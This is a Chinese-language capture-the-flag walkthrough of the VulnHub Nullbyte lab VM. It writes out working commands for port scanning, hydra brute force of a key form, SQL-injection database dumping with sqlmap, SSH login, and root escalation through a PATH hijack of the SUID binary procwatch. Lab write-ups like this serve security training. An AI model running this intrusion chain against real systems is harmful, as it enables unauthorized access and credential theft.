VulnHub Nullbyte

一、信息收集

1.nmap扫描

arp-scan -l扫描内网存活主机

VulnHub Nullbyte_第1张图片

┌──(rootkali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.201/24
-sS 半扫描
-A 扫描详细信息
-p- 扫描全端口

发现开放了80、111、777、50978端口

且发现777端口开放了ssh服务,说明他把默认22端口修改成了777端口

VulnHub Nullbyte_第2张图片

2.web页面

1.打开80端口

VulnHub Nullbyte_第3张图片

翻译一下下面的提示:意思是要找到正确的渗透方式

VulnHub Nullbyte_第4张图片

2.扫描80端口目录
┌──(rootkali)-[~/桌面]
└─# dirsearch -u http://192.168.103.201

目录扫描字典字典的话推荐:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
                      /usr/share/wordlists/dirb/big.txt

扫描得到以下目录:

/uploads

/javascript

/phpmyadmin

VulnHub Nullbyte_第5张图片

显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径

VulnHub Nullbyte_第6张图片

再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:

遇到登录框,首先试试是不是弱口令,这个试过弱口令了,发现试不出来

VulnHub Nullbyte_第7张图片

然后试着查看源代码看看有没有啥提示:

发现80端口下面的源代码有个图片提示。

VulnHub Nullbyte_第8张图片

我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:

┌──(rootkali)-[~/桌面]
└─# wget http://192.168.103.201/main.gif

VulnHub Nullbyte_第9张图片

先用file看看这个文件的具体信息,确实就是个gif的图像文件

VulnHub Nullbyte_第10张图片

strings main.gif

strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用

VulnHub Nullbyte_第11张图片

这个kzMb5nVYJw,有可能是某个密码,所以可以尝试ssh登录、phpmyadmin也可以试试,但是都失败了

kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,所以试试路径

发现,还真的是路径,发现是个要输入key的页面

VulnHub Nullbyte_第12张图片

查看网页源代码

这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了

this form isn't connected to mysql, password ain't that complex
:这个表单没有连接到mysql,密码没有那么复杂

VulnHub Nullbyte_第13张图片

我们试着输入kzMb5nVYJw进去,发现报错了

VulnHub Nullbyte_第14张图片

3.爆破

这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破

解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求

添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank)

-P指定爆破脚本,一般靶机都可选择/usr/share/wordlists/rockyou.txt这个字典

┌──(rootkali)-[/usr/share/wordlists]
└─# hydra 192.168.103.201 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

爆破完毕:key是elite

VulnHub Nullbyte_第15张图片

输入正确的key后,出现下面的这个界面

VulnHub Nullbyte_第16张图片

发现输入,出现了报错,可以看到url存在注入点,说明存在sql注入

VulnHub Nullbyte_第17张图片

注入点http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1

4.sqlmap跑

在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了

┌──(rootkali)-[/usr/share/wordlists]
└─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch

VulnHub Nullbyte_第18张图片

+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses |     |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

密码,先base64解密,然后再md5解密,

得到密码是:omega

VulnHub Nullbyte_第19张图片

二、提权

1.ssh远程连接

┌──(rootkali)-[~]
└─# ssh [email protected] -p 777

密码omega

VulnHub Nullbyte_第20张图片

1.sudo -l提权

没有权限

VulnHub Nullbyte_第21张图片

2.SUID 查看有哪些有root执行权限

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

VulnHub Nullbyte_第22张图片

3.查看计划任务

ramses@NullByte:~$ cat /etc/crontab

VulnHub Nullbyte_第23张图片

4.查看历史命令

先进入ramses用户目录下然后

ls -la

VulnHub Nullbyte_第24张图片

发现这个很奇怪,好像在前面那里见过,所以尝试在这里执行一下,发现执行不了,

VulnHub Nullbyte_第25张图片

2.procwatch文件

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

后来发现是这里,看见过,这里的是表示root用户可以执行的权限命令

VulnHub Nullbyte_第26张图片

所以,先切换到/var/www/backup目录下

然后./procwatch执行下这个文件

VulnHub Nullbyte_第27张图片

ramses@NullByte:/var/www/backup$ ./procwatch
  PID TTY          TIME CMD
 1785 pts/0    00:00:00 procwatch
 1786 pts/0    00:00:00 sh
 1787 pts/0    00:00:00 ps

发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是

将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

ls -la

VulnHub Nullbyte_第28张图片

然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了

3.flag

./procwatch

然后我们进入/root目录寻找flag,是proof.txt

VulnHub Nullbyte_第29张图片

你可能感兴趣的:(web,VulnHub,服务器,linux,网络,web安全,安全,vulnhub)